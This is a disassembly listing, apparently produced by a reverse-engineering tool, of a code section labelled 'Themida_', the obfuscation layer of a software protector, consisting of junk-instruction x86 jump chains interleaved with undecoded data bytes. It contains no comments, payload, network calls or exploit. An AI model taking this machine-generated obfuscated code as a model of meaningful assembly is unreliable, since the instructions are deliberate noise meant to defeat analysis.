dd 0C781E789h, 4, 8704C783h, 95C243Ch, 34FF1C4Fh, 2434FF24h
dd 8B545059h, 0ECE92404h
db 41h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55CDE7: ; CODE XREF: Themida_:0055BC72j
push 74Dh
mov [esp], ecx
push esp
pop ecx
add ecx, 4
push eax
mov eax, 4
add ecx, 3BC02A25h
jmp loc_561543
; ---------------------------------------------------------------------------
dd 0FF2434FFh, 148B2434h, 5AB16824h, 0A6E90000h, 54FFFFFCh
dd 5524048Fh, 0FFCE7DE9h, 0B6E68FFh, 4890000h, 72CB824h
dd 0C3294D54h, 6C38158h, 1466A12h, 0BD55C3h, 0C102FC75h
dd 0DDF707EDh, 8107EDC1h, 95E208EDh, 52C381BBh, 29718A37h
dd 52B850EBh, 0E9718A37h, 0FFFF29F4h, 0EBC0DAB3h, 6F96E904h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55CE6E: ; CODE XREF: Themida_:0055513Aj
mov ecx, 1
mov esi, ecx
mov ecx, [esp]
add esp, 4
and eax, esi
jmp loc_556ABE
; ---------------------------------------------------------------------------
loc_55CE82: ; CODE XREF: Themida_:00559E9Dj
push 55CF1551h
pop edx
shl edx, 2
jmp loc_55FB0D
; ---------------------------------------------------------------------------
dd 127EE959h, 0C283FFFFh, 4EC8102h, 89000000h, 74FF2414h
dd 8F5A0424h, 248B2404h, 48B6624h, 6F376824h, 9AE90000h
dd 66FFFFDBh, 663D18BFh, 7162EF81h, 66DF2966h, 7162C781h
dd 0ECBD665Bh, 0C5816639h, 1660BD8h, 0ED8166FDh, 665F0BD8h
dd 66536655h, 665B665Dh, 0DD87664Bh, 1BA6652h, 0C2816661h
dd 0B4E9009Eh, 0E9FFFFF8h, 0FFFF0EC5h, 24048966h, 0FF0EBCE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55CF09: ; CODE XREF: Themida_:00550D04j
push ecx
mov ecx, 7E881177h
not ecx
neg ecx
jmp loc_55AB9D
; ---------------------------------------------------------------------------
dd 240C8B66h, 81E68956h, 4C6h, 4EE8100h, 87000000h, 0E95C2434h
dd 1D34h, 8858E388h, 1C8B871Ch, 6BE95724h
db 0B4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55CF43: ; CODE XREF: Themida_:00559F73j
push dword ptr [esp]
pop ebp
add esp, 4
shl ebx, 7
jmp loc_55431B
; ---------------------------------------------------------------------------
loc_55CF55: ; CODE XREF: Themida_:00558974j
mov esi, [esp]
add esp, 4
xchg ebx, [esp]
pop esp
mov [esp], ebx
pop eax
pop ebx
jmp loc_55E308
; ---------------------------------------------------------------------------
db 1, 6Ch, 24h
dd 5585D04h, 4, 8704C083h, 248B2404h, 3981E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55CF82: ; CODE XREF: Themida_:00554D8Aj
add edx, ecx
pop ecx
or edi, edx
pop edx
shr edi, 6
push ecx
mov ecx, 34276E92h
xor ecx, 6C893B4Fh
jmp loc_556BD9
; ---------------------------------------------------------------------------
dd 6624248Bh, 5724048Bh, 1A8C68h, 24248900h, 0FFF3B8E9h
dd 0E0FE9FFh, 0D0F7FFFFh, 0FF83C5E9h, 81425AFFh, 0C06E3AF2h
dd 3781E91Bh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55CFCA: ; CODE XREF: Themida_:005525CFj
add esp, 4
mov edi, esi
pop esi
sub edi, 2FA2B5D5h
push edi
mov ebp, [esp]
add esp, 4
jmp loc_558695
; ---------------------------------------------------------------------------
dw 895Ch
dd 0D8E92434h, 0FFFFFFC1h, 815F2434h, 4C4h, 85E95200h
dd 89000052h, 4812424h, 424h, 0FBE95B00h, 8800001Ch, 0D6D8E9D3h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55D012: ; CODE XREF: Themida_:00560991j
push 4
pop esi
add ebx, 77585F52h
sub ebx, 2BB14B85h
add ebx, esi
jmp loc_54E972
; ---------------------------------------------------------------------------
loc_55D02B: ; CODE XREF: Themida_:005539B5j
mov [esp], ebx
mov ebx, 4
and ecx, ebx
push dword ptr [esp]
pop ebx
push ecx
mov ecx, esp
add ecx, 4
push esi
mov esi, 4
add ecx, esi
pop esi
xchg ecx, [esp]
pop esp
shr ecx, 0Ah
push ebp
jmp loc_553286
; ---------------------------------------------------------------------------
dd 3135C281h, 7DE9657Ah, 80000014h, 285850C5h, 902CE9EBh
dd 8B66FFFFh, 0E9552404h, 0FFFFDA25h
; ---------------------------------------------------------------------------
loc_55D078: ; CODE XREF: Themida_:0055B9BDj
not edx
push ebp
mov ebp, 696E6E86h
sub esp, 4
mov [esp], edx
sub esp, 4
jmp loc_55D78A
; ---------------------------------------------------------------------------
dd 89241489h, 4BF57E2h, 1000000h, 243C8BFAh, 4C481h, 0C2830000h
dd 9F7BE904h, 0DCB9FFFFh, 115CB3Ch, 0D4E959CFh, 0F7FFFFEBh
dd 7707E9D1h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55D0C6: ; CODE XREF: Themida_:00553B38j
push dword ptr [esp]
mov ebp, [esp]
jmp loc_55C808
; ---------------------------------------------------------------------------
db 53h, 0BBh, 0E6h
dd 814BC556h, 2A6D96F3h, 0E9DF293Bh, 3A19h, 24048B66h
dd 293668h, 242C8900h, 8952E589h, 4C281E2h, 0E9000000h
dd 0FFFF9229h, 405E089h, 2D000000h, 4, 5C240487h, 81243489h
dd 4ECh, 24248900h, 4B951h, 4C010000h, 0FF590424h, 575E2434h
dd 0B2E9E789h, 5FFFF36h, 4, 8704E883h, 895C2404h, 6855241Ch
dd 2B2332DEh, 0D0BAE95Dh, 1C89FFFFh, 0E0BBE924h, 0C581FFFFh
dd 4, 4ED81h, 65E90000h, 52000041h, 50FBC2BAh, 5AD031EEh
dd 19E9C689h, 0FFFFFF8Ah, 5F042474h, 0FF24048Fh, 81592434h
dd 4C4h, 3ED6800h, 76E90000h
db 0C2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55D193: ; CODE XREF: Themida_:005571A8j
pop ecx
jmp loc_55319C
; ---------------------------------------------------------------------------
db 0B8h, 33h, 55h
dd 0C3091EF5h, 83D3F758h, 0EB81FFC3h, 21B4E0B4h, 0E95BD901h
dd 0FFFFE50Ch
; ---------------------------------------------------------------------------
loc_55D1B4: ; CODE XREF: Themida_:00558D72j
sub ecx, 0BBD313Ch
add ecx, ebx
jmp loc_55F89B
; ---------------------------------------------------------------------------
db 25h, 2Ah, 35h
dd 6811C0h, 29000000h, 57582404h, 0C7026CBFh, 80B8501Ch
dd 0E9211D4Ah, 0FFFF8BE6h, 7DDDF381h, 0EB8135F4h, 1, 0DBF7EBD1h
dd 0BAC9BA52h, 0D3295DA9h, 8324148Bh, 0D90104C4h, 83241C8Bh
dd 0C80104C4h, 23D26859h, 3C890000h, 2BF24h, 0F8010000h
dd 3662E9h
db 0
; ---------------------------------------------------------------------------
loc_55D21D: ; CODE XREF: Themida_:005561ACj
xchg esi, [esp]
pop esp
add eax, 37336691h
jmp loc_5521EF
; ---------------------------------------------------------------------------
loc_55D22B: ; CODE XREF: Themida_:0055A5BDj
mov edi, 0CBB6E4Bh
jmp loc_54ED37
; ---------------------------------------------------------------------------
db 5Dh, 0E9h, 0D3h
db 1Fh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55D23B: ; CODE XREF: Themida_:0055E128j
push esi
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop esi
add esi, 4
sub esi, 4
xchg esi, [esp]
mov esp, [esp]
mov [esp], eax
push 104Dh
jmp loc_55FDB1
; ---------------------------------------------------------------------------
loc_55D263: ; CODE XREF: Themida_:00555D39j
xor ebx, 0EF67D847h
mov esi, ebx
pop ebx
add esi, 4D266574h
sub esi, 0BC8B8DC6h
add eax, esi
jmp loc_55E5C3
; ---------------------------------------------------------------------------
db 89h
dd 0ADB82404h, 563720Dh, 0A9512115h, 0FF7A02E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55D291: ; CODE XREF: Themida_:00555A63j
push dword ptr [esp+4]
push dword ptr [esp]
pop ebp
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
mov esp, [esp]
pop dword ptr [esp]
mov esp, [esp]
push 7C35h
jmp loc_55B804
; ---------------------------------------------------------------------------
dw 48Bh
dd 61D0E924h, 0E952FFFFh, 4346h
; ---------------------------------------------------------------------------
loc_55D2CC: ; CODE XREF: Themida_:00558073j
inc esi
add esi, 5F4533C9h
add esi, 0C83CCE1Dh
jmp loc_559DEA
; ---------------------------------------------------------------------------
dw 489h
dd 53685124h, 8B6C7F01h, 0C483240Ch, 76C18104h, 81174003h
dd 40FB3BC1h, 481517Ch, 7F5C7E24h, 7E2D5849h, 59497F5Ch
dd 2F2CB951h, 0E9C13220h, 0F2E94906h
db 8Ah, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55D317: ; CODE XREF: Themida_:005520ECj
mov edi, [esp]
add esp, 4
add eax, 30A97560h
add eax, ebx
sub eax, 30A97560h
sub eax, 15AD6F08h
pop ebx
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
jmp loc_553AD4
; ---------------------------------------------------------------------------
db 0F6h, 0D2h, 53h
dd 0E78057B7h, 61C780F3h, 1C8BFA30h, 4C48124h, 80000000h
dd 5066F7F2h, 0CDE989B0h, 0FFFFFFAAh, 5B042474h, 5C24048Fh
dd 8B242C87h, 4FE2424h, 4EE99C24h
db 0Ah, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55D377: ; CODE XREF: Themida_:00557EA6j
push eax
mov eax, 32343ADAh
dec eax
jmp loc_561B34
; ---------------------------------------------------------------------------
db 56h
dd 0C681E689h, 4, 0E904C683h, 0FFFF2CEAh, 3C8BF829h, 4C48124h
dd 66000000h, 1EE930FFh, 81FFFF0Ah, 2A161CF3h, 5BDE8975h
dd 0A668D6F7h, 89000009h, 14F72434h, 2404FF24h, 5E2434FFh
dd 8104C483h, 1053CE6h, 0F7CE8723h, 36CCE9D1h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55D3D6: ; CODE XREF: Themida_:0055A227j
push esp
mov esi, [esp]
add esp, 4
add esi, 4
sub esp, 4
mov [esp], ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], eax
push ebx
push 12CB3C6Dh
pop ebx
dec ebx
add ebx, 7D0840AAh
add ebx, 702C82EEh
mov eax, ebx
pop ebx
jmp loc_55A5CD
; ---------------------------------------------------------------------------
db 83h, 0C4h, 4
dd 0E9241C87h, 0FFFF6D77h, 24048B66h, 4EC81h, 3BE90000h
dd 81FFFF9Eh, 1B222FC5h, 0B8B85038h, 0C1130E4Ch, 0E0C103E0h
dd 0C1E8D108h, 0E8C103E8h, 22BE5604h, 10C33B8h, 2434FFF0h
dd 4C4815Eh, 29000000h, 0C58158C5h, 628EB4EBh, 0FAE9EF01h
dd 80FFFF91h, 0FE0066EFh, 4A16E9h, 48B6600h, 0E7895724h
dd 4C781h, 0BB530000h, 4, 3910E9h, 1BA5200h, 29000000h
dd 53E95AD0h, 0B2000017h, 48B753CCh, 0E95BE780h, 0FFFF2EBAh
dd 83240C8Bh, 0C28104C4h, 7DE42E03h, 0EA81C201h, 7DE42E03h
dd 984FE958h, 0F381FFFFh, 0E249D2E3h, 215BD889h, 2434FFC5h
dd 8124048Bh, 4C4h, 4C48300h, 8107EDC1h, 710ABCC5h, 0B7B95169h
dd 8100B10Fh, 346F5AC5h, 5C11E90Dh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55D4FE: ; CODE XREF: Themida_:0055257Aj
add ebx, 4
push edi
mov edi, 4
jmp loc_55A484
; ---------------------------------------------------------------------------
db 81h
dd 4ECh, 243C8900h, 0C781E789h, 4, 8704C783h, 0E95C243Ch
dd 23D9h, 243C875Eh, 777BE95Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55D536: ; CODE XREF: Themida_:0055B99Fj
xor ecx, 4A8A03CCh
or ecx, 1D3426BAh
not ecx
sub ecx, 55DE1370h
or ecx, 1EDB7F4Bh
jmp loc_55C903
; ---------------------------------------------------------------------------
db 89h, 0Ch, 24h
dd 42474FFh, 0FFA7D0E9h, 242C8BFFh, 4C481h, 0ED810000h
dd 0DA7C9E5Ah, 8B5DEF01h, 54562404h, 4C6815Eh, 81000000h
dd 4C6h, 24348700h, 2C7835Ch, 31243C33h, 3C33243Ch, 0F665C24h
dd 9C2404ABh, 0FF0824E9h, 66FD00FFh, 77EB805Bh, 285EC380h
dd 6994E9EBh, 34FFFFFFh, 240C8B24h, 0FF84E4E9h, 0B5F180FFh
dd 37F180h, 546859CBh, 89000014h, 0A2E92414h, 35FFFFDDh
dd 386206D7h, 0FFBA4BE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55D5DD: ; CODE XREF: Themida_:0055BC1Bj
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_552545
; ---------------------------------------------------------------------------
loc_55D5F0: ; CODE XREF: Themida_:0055714Fj
add ebp, 4
xchg ebp, [esp]
pop esp
push eax
push esp
mov eax, [esp]
sub esp, 4
jmp loc_55009C
; ---------------------------------------------------------------------------
loc_55D60A: ; CODE XREF: Themida_:00558713j
pop ebx
push edx
sub esp, 4
jmp loc_54EE73
; ---------------------------------------------------------------------------
db 66h
dd 6824048Bh, 6CD0h, 89240489h, 4EC83E0h, 0FFC2E0E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55D62D: ; CODE XREF: Themida_:00561BA9j
pop esp
mul cl
jmp loc_559776
; ---------------------------------------------------------------------------
db 81h, 0EBh, 2Ah
dd 31AF6D95h, 3FEDE9DAh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55D642: ; CODE XREF: Themida_:00561A01j
xor eax, ecx
xor eax, ebx
xor ebx, eax
xor eax, ebx
push edx
jmp loc_5560D2
; ---------------------------------------------------------------------------
dd 0E95EF189h, 0FFFF358Fh, 81240C8Bh, 4C4h, 0B2E95500h
db 46h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55D667: ; CODE XREF: Themida_:0055FBC3j
and eax, edx
jmp loc_561D8C
; ---------------------------------------------------------------------------
dw 0C33h
dd 240C3124h, 5C240C33h, 9C2404FFh, 0FF0744E9h, 241C8BFFh
dd 4C481h, 51530000h, 8904EC83h, 0EDB7241Ch, 245CF653h
dd 6278E901h, 0EBC0FFFFh, 41F38004h, 285BD828h, 2C4F04D8h
dd 0C9CCE99Ah, 0F189FFFFh, 0E9C88950h, 0FFFF12D8h
; ---------------------------------------------------------------------------
loc_55D6BC: ; CODE XREF: Themida_:0055AC83j
push dword ptr [esp]
pop edi
push 0A7Dh
mov [esp], eax
push esp
pop eax
jmp loc_5564AD
; ---------------------------------------------------------------------------
db 8Bh
dd 8953241Ch, 4C381E3h, 81000000h, 4C3h, 16E4E900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55D6E6: ; CODE XREF: Themida_:00553BD3j
and edx, edi
jmp loc_5594D8
; ---------------------------------------------------------------------------
loc_55D6ED: ; CODE XREF: Themida_:005557F0j
add ecx, 4
push edi
mov edi, 5F3B56BFh
dec edi
push ecx
mov ecx, 65FF446Bh
or edi, ecx
pop ecx
push ecx
mov ecx, 30370177h
or ecx, 750D45A3h
xor ecx, 3A2E4FB6h
jmp loc_55FE23
; ---------------------------------------------------------------------------
dw 405h
dd 55000000h, 1019E9h
db 0
; ---------------------------------------------------------------------------
loc_55D725: ; CODE XREF: Themida_:0055C789j
add ebp, 506D851Fh
sub eax, ebp
pop ebp
push ebx
mov ebx, 33103CE3h
sub eax, ebx
pop ebx
jmp loc_561630
; ---------------------------------------------------------------------------
loc_55D73C: ; CODE XREF: Themida_:00550A1Cj
mov eax, 4
sub ebx, 61602000h
add ebx, 450E45FEh
add ebx, eax
sub ebx, 450E45FEh
push ecx
jmp loc_55B972
; ---------------------------------------------------------------------------
db 81h
dd 4ECh, 0D4F4E900h, 4481FFFFh, 45700424h, 0E95E5BB5h
dd 0FFFF0651h, 3304C483h, 4312404h, 97B5E924h, 0C483FFFFh
dd 4D98E904h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55D78A: ; CODE XREF: Themida_:0055D08Fj
mov [esp], edx
jmp loc_55E415
; ---------------------------------------------------------------------------
loc_55D792: ; CODE XREF: Themida_:00557657j
xor eax, edi
mov edi, [esp]
jmp loc_55125A
; ---------------------------------------------------------------------------
loc_55D79C: ; CODE XREF: Themida_:00550420j
mov ebx, esp
push eax
sub esp, 4
mov [esp], ebp
mov ebp, 70AB1347h
mov eax, 8F54ECBDh
add eax, ebp
pop ebp
add ebx, 69781D1Eh
add ebx, eax
sub ebx, 69781D1Eh
pop eax
jmp loc_550A1B
; ---------------------------------------------------------------------------
dw 0EE81h
dd 5AD7332Bh, 71E9DE01h, 68FFFF51h, 4, 56242C8Bh, 0C681E689h
dd 4, 8704C683h, 815C2434h, 3E415EEEh, 81EE0174h, 3E415EC6h
dd 5918E974h, 8956FFFFh, 0ABE951EEh, 0FFFFFFFEh, 815F2434h
dd 4C4h, 4BA5200h, 81000000h, 0CA44DBC7h, 9525E96Bh, 1C8BFFFFh
dd 4C48124h, 0E9000000h, 0FFFFD608h, 66243486h, 5EBC05Bh
dd 0F6DE8852h, 5AF388D6h, 0FF81E1E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55D845: ; CODE XREF: Themida_:00551315j
mov edi, [esp]
jmp loc_55AFEE
; ---------------------------------------------------------------------------
db 83h, 0C4h, 4
dd 34D7E9h
db 0
; ---------------------------------------------------------------------------
loc_55D855: ; CODE XREF: Themida_:005512FFj
mov esp, [esp]
jmp loc_55499A
; ---------------------------------------------------------------------------
loc_55D85D: ; CODE XREF: Themida_:005612C7j
mov edx, 0DBC7665h
jmp loc_55B75A
; ---------------------------------------------------------------------------
db 8Bh
dd 0C4812434h, 4, 0C581FD01h, 8014B4Ah, 51243C8Bh, 0C1815954h
dd 4, 4BA52h, 0D1010000h, 240C875Ah, 242C335Ch, 33242C31h
dd 0F5C242Ch, 9C51C8AFh, 0FF0520E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55D8A5: ; CODE XREF: Themida_:0055014Bj
mov esi, 32A4589Fh
and esi, 5E8C738Eh
or esi, 734709D7h
jmp loc_55340D
; ---------------------------------------------------------------------------
db 8Bh
dd 0C892424h, 0C8B5424h, 30EBE924h, 0C05BFFFFh, 0DEE904EAh
db 4Dh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55D8D3: ; CODE XREF: Themida_:00561C19j
add ebx, eax
pop eax
dec ebx
push edx
mov edx, 6CCC6AA0h
neg edx
add edx, 9901425h
xor ebx, edx
pop edx
jmp loc_55B609
; ---------------------------------------------------------------------------
db 81h, 0EDh, 56h
dd 898D85BDh, 0D3F75DEBh, 4EC81h, 0C0E90000h, 81000045h
dd 4ECh, 6048E900h, 0BE56FFFFh, 386706D9h, 0E95EF789h
dd 0FFFFFA78h, 2434FF58h, 4C4835Bh, 0E975B652h, 0FFFFB723h
; ---------------------------------------------------------------------------
loc_55D92C: ; CODE XREF: Themida_:00551D79j
and edx, 0BCD28F5h
neg edx
jmp loc_56195B
; ---------------------------------------------------------------------------
loc_55D939: ; CODE XREF: Themida_:00553EABj
mov edx, esp
add edx, 4
add edx, 4
jmp loc_55CDA8
; ---------------------------------------------------------------------------
db 66h, 8Bh, 4
dd 5A545224h, 4C281h, 4AE90000h
db 24h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55D95B: ; CODE XREF: Themida_:0055FB13j
mov [esp], ecx
mov ecx, 34DD1D06h
or edx, ecx
mov ecx, [esp]
add esp, 4
jmp loc_55EE34
; ---------------------------------------------------------------------------
loc_55D973: ; CODE XREF: Themida_:0056252Bj
push dword ptr [esp]
jmp loc_550254
; ---------------------------------------------------------------------------
loc_55D97B: ; CODE XREF: Themida_:00557533j
push ecx
push ebp
jmp loc_55F928
; ---------------------------------------------------------------------------
dw 0D3F7h
dd 489BE955h, 0E1B9FFFFh, 53571C9Dh, 613EE0BBh, 0EBF3815Eh
dd 8166122Eh, 8A6578C3h, 9FC3810Ah, 1C86499h, 0D1295BD9h
dd 0FF8290E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55D9B1: ; CODE XREF: Themida_:00559700j
push edi
mov edi, eax
mov esi, edi
pop edi
pop eax
xor ebx, esi
push dword ptr [esp]
push dword ptr [esp]
pop esi
push ebx
mov ebx, esp
jmp loc_554830
; ---------------------------------------------------------------------------
db 81h, 0ECh, 4
dd 89000000h, 73BB241Ch, 0E9380009h, 0FFFFA7FBh, 0EE9C300h
dd 5AFFFF5Ch, 0C8E9F229h, 81FFFFADh, 4EAh, 24148700h, 0AF32E95Ch
dd 433FFFFh, 24248B24h, 0E9241489h, 0FFFFD24Dh
; ---------------------------------------------------------------------------
loc_55DA08: ; CODE XREF: Themida_:00556668j
mov al, bh
jmp loc_5513A7
; ---------------------------------------------------------------------------
db 83h
dd 1C8904ECh, 2474FF24h, 1EBEE904h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55DA1E: ; CODE XREF: Themida_:00554C09j
add esp, 4
push 15A1h
mov [esp], ebx
push 4670h
mov [esp], esp
push ebp
mov ebp, 4
push eax
jmp loc_553729
; ---------------------------------------------------------------------------
dd 8758C501h, 835C242Ch, 48904ECh, 0A4C1E924h, 0EF81FFFFh
dd 3E862F09h, 2097E781h, 68524128h, 5799634Eh, 258CE95Ah
dd 0E953FFFFh, 0FFFF1EA5h, 240C875Fh, 8324248Bh, 3AE904ECh
db 0B0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55DA7F: ; CODE XREF: Themida_:00562891j
mov [esp], esi
mov esi, 65E077DAh
jmp loc_55AD95
; ---------------------------------------------------------------------------
loc_55DA8C: ; CODE XREF: Themida_:00553197j
mov [esp], ebx
jmp loc_55AC88
; ---------------------------------------------------------------------------
dd 0E9DF895Dh, 47F7h, 0E528B9B4h, 0ABE95866h
db 78h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55DAA7: ; CODE XREF: Themida_:0054F0C7j
mov ecx, esp
sub esp, 4
mov [esp], edi
push ecx
mov ecx, 60BC02D4h
mov edi, ecx
pop ecx
sub esp, 4
mov [esp], ebp
jmp loc_55A46B
; ---------------------------------------------------------------------------
dw 0C581h
dd 59FF35ABh, 7EDC15Fh, 0C11CD81h, 0E5814A1Fh, 467F4B9Ah
dd 0FF0A9BE9h, 0EE015DFFh, 81242C8Bh, 4C4h, 5EF22900h
dd 31241433h, 4E92414h, 81FFFF40h, 7D3653C5h, 0E9D5014Eh
dd 0FFFFC839h, 0D6BA5256h, 812A1C47h, 0A01D9BC2h, 33896862h
dd 3C890000h, 15DC6824h, 15F97BEh, 2434FFFAh, 8C5EE95Fh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55DB2E: ; CODE XREF: Themida_:005596D3j
add esi, 4
push 1592h
mov [esp], ebx
mov ebx, 7082185Fh
sub esp, 4
mov [esp], ecx
push 8D0530Ch
pop ecx
sub ecx, 69F745CEh
push ebp
mov ebp, 38736150h
and ecx, ebp
pop ebp
jmp loc_561239
; ---------------------------------------------------------------------------
dd 1DBF5743h, 0C172CF3Dh, 0C78108E7h, 26071BE2h, 4DE94F4Fh
db 1Fh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55DB7B: ; CODE XREF: Themida_:00558BD5j
add edx, 4
xchg edx, [esp]
jmp loc_558ED4
; ---------------------------------------------------------------------------
dw 0D1F7h
dd 2F32E981h, 0F6E94FC9h, 2DFFFF13h, 28EC3756h, 81243C8Bh
dd 4ECh, 24348900h, 0C681E689h, 4, 4C681h, 34870000h, 0BA525C24h
dd 2, 72E9D001h, 89FFFF67h, 0E954242Ch, 0FFFFF669h
; ---------------------------------------------------------------------------
loc_55DBCC: ; CODE XREF: Themida_:0055F8A3j
mov ebx, esp
push ecx
push ebx
push 6C78h
mov [esp], esi
mov esi, 7CED19E1h
inc esi
neg esi
push ecx
mov ecx, 0FA96493h
and esi, ecx
pop ecx
jmp loc_54DE59
; ---------------------------------------------------------------------------
dw 3489h
dd 4B85024h, 0E934F34Bh, 0FFFF1A5Dh, 0FF01C4E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55DC01: ; CODE XREF: Themida_:005619B7j
push edx
mov edx, 4
sub esi, edx
pop edx
xchg esi, [esp]
jmp loc_55466E
; ---------------------------------------------------------------------------
dw 2C8Bh
dd 0E7895724h, 0FFD7DCE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55DC1D: ; CODE XREF: Themida_:0055A71Ej
mov ebp, esp
add ebp, 4
jmp loc_5523D5
; ---------------------------------------------------------------------------
dw 0C381h
dd 556761BCh, 71E4C381h, 0EB814617h, 0BCE86D4Ch, 0FFDD89E9h
dd 34895CFFh, 81E68924h, 4C6h, 9FE95100h, 81000000h, 0D54C9C7h
dd 478BE989h, 433FFFFh, 24248B24h, 9C2404D2h, 0FF0158E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55DC6D: ; CODE XREF: Themida_:0055951Bj
mov ebp, 648C24D8h
not ebp
jmp loc_55EDE6
; ---------------------------------------------------------------------------
db 81h, 0C4h, 4
dd 0E9000000h, 0FFFFFE77h, 4BFh, 2E252D00h, 0C3E962E4h
dd 29FFFF07h, 42A02DF8h, 34FF549Bh, 0C4815F24h, 4, 0FF66C331h
dd 117E930h, 0F308FFFFh, 7BCB805Ah, 5E9EBD0h, 6600003Bh
dd 5724048Bh, 4D1468h, 24248900h, 4BD55h, 6C010000h, 0FF5D0424h
dd 0E95F2434h, 0FFFFED48h, 0BE243489h, 4, 0FF75BEE9h, 248B66FFh
dd 0D3E924h, 2B9FFFFh, 1000000h, 240C8BCEh, 4C481h, 92680000h
dd 0E9000073h, 0FFFF2E37h, 66D8F766h, 667B2F0Dh, 0E9650F05h
dd 2B7Eh, 7C3D68h, 241C8900h, 0FF6C99E9h, 0C1068FFh, 0FE90000h
dd 5600003Ah, 6E13C0BEh, 8BF00917h, 0C4832434h, 0B810504h
dd 9E052A0Dh, 5676039Ch, 0FF4EC6E9h, 0C2635FFh, 0C2014578h
dd 81C20158h, 8C27A3EAh, 55E95869h, 87FFFF26h, 895C2434h
dd 0BD552414h, 2E783922h, 0D867FBBAh, 5DEA311Dh, 0A12BC281h
dd 0D601CC5Fh, 916E9h, 24248B00h, 3302EA83h, 14312414h
dd 24143324h, 0FF1B2CE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55DD9D: ; CODE XREF: Themida_:00559EEAj
xor edx, [esp]
pop esp
mov [esp], eax
xor [esp], edi
xor edi, [esp]
xor [esp], edi
push eax
push esp
pop eax
add eax, 4
push ecx
mov ecx, 4
sub eax, ecx
pop ecx
xchg eax, [esp]
mov esp, [esp]
jmp loc_550A08
; ---------------------------------------------------------------------------
loc_55DDC9: ; CODE XREF: Themida_:00560B68j
push 0
sub dword ptr [esp], 7E144299h
add dword ptr [esp], 0F390764h
sub dword ptr [esp], 1D7548BAh
sub [esp], ebx
jmp loc_556DE3
; ---------------------------------------------------------------------------
loc_55DDEB: ; CODE XREF: Themida_:0055CB72j
add ebp, esi
jmp loc_54F109
; ---------------------------------------------------------------------------
dw 0C289h
dd 8BD70158h, 0C4832414h, 55CF0104h, 0FF601DBDh, 7FB1E973h
dd 0C481FFFFh, 4, 4280E955h, 0F5290000h, 1C30ED81h, 0B2E92F28h
dd 0F7FFFF75h, 4BE381DBh, 0F7605F70h, 8FF381D3h, 29D82C82h
dd 0E9015BD9h, 0E904EC83h, 0FFFF0FF3h, 5D240CFFh, 48EEC581h
dd 0C3810D6Fh, 6B181332h, 0EB81EB29h, 6B181332h, 81242C8Bh
dd 4C4h, 381EE900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55DE66: ; CODE XREF: Themida_:005578AEj
add dword ptr [esp], 4
pop esi
add esi, 4
jmp loc_55B999
; ---------------------------------------------------------------------------
dw 8B66h
dd 0E9512404h, 0FFFFE320h, 80E9FA01h, 5F000043h, 4C481h
dd 0B9E90000h
db 10h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55DE93: ; CODE XREF: Themida_:00554BD4j
cmp eax, edx
jz loc_55F7B0
push 4565h
jmp loc_5620F9
; ---------------------------------------------------------------------------
db 8Bh, 3Ch, 24h
dd 8104C483h, 4C3h, 241C8700h, 0FF5E5AE9h, 4B951FFh, 29000000h
dd 40E8E9CDh, 0BF57FFFFh, 486A7543h, 0E95FFB29h, 0FFFF6D14h
; ---------------------------------------------------------------------------
loc_55DED4: ; CODE XREF: Themida_:00556510j
mov ebp, 3E5714ADh
jmp loc_551B25
; ---------------------------------------------------------------------------
loc_55DEDE: ; CODE XREF: Themida_:0054FBB6j
push esi
mov esi, ebp
mov ebx, esi
pop esi
mov ebp, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
mov ecx, [esp]
add esp, 4
sub edi, ebx
mov ebx, [esp]
add esp, 4
jmp loc_5539A9
; ---------------------------------------------------------------------------
dd 0E9240487h, 1FBCh
; ---------------------------------------------------------------------------
loc_55DF18: ; CODE XREF: Themida_:0055A1A0j
add eax, 9BE5EEBh
pop edx
add eax, 4
xchg eax, [esp]
mov esp, [esp]
loc_55DF29: ; CODE XREF: Themida_:0055F7EDj
push 47CFh
jmp loc_551E13
; ---------------------------------------------------------------------------
loc_55DF33: ; CODE XREF: Themida_:0055A294j
xchg esi, ebp
inc esi
xchg esi, ebp
jmp loc_551C58
; ---------------------------------------------------------------------------
db 51h, 0B1h, 0F2h
dd 0FFDC8AE9h
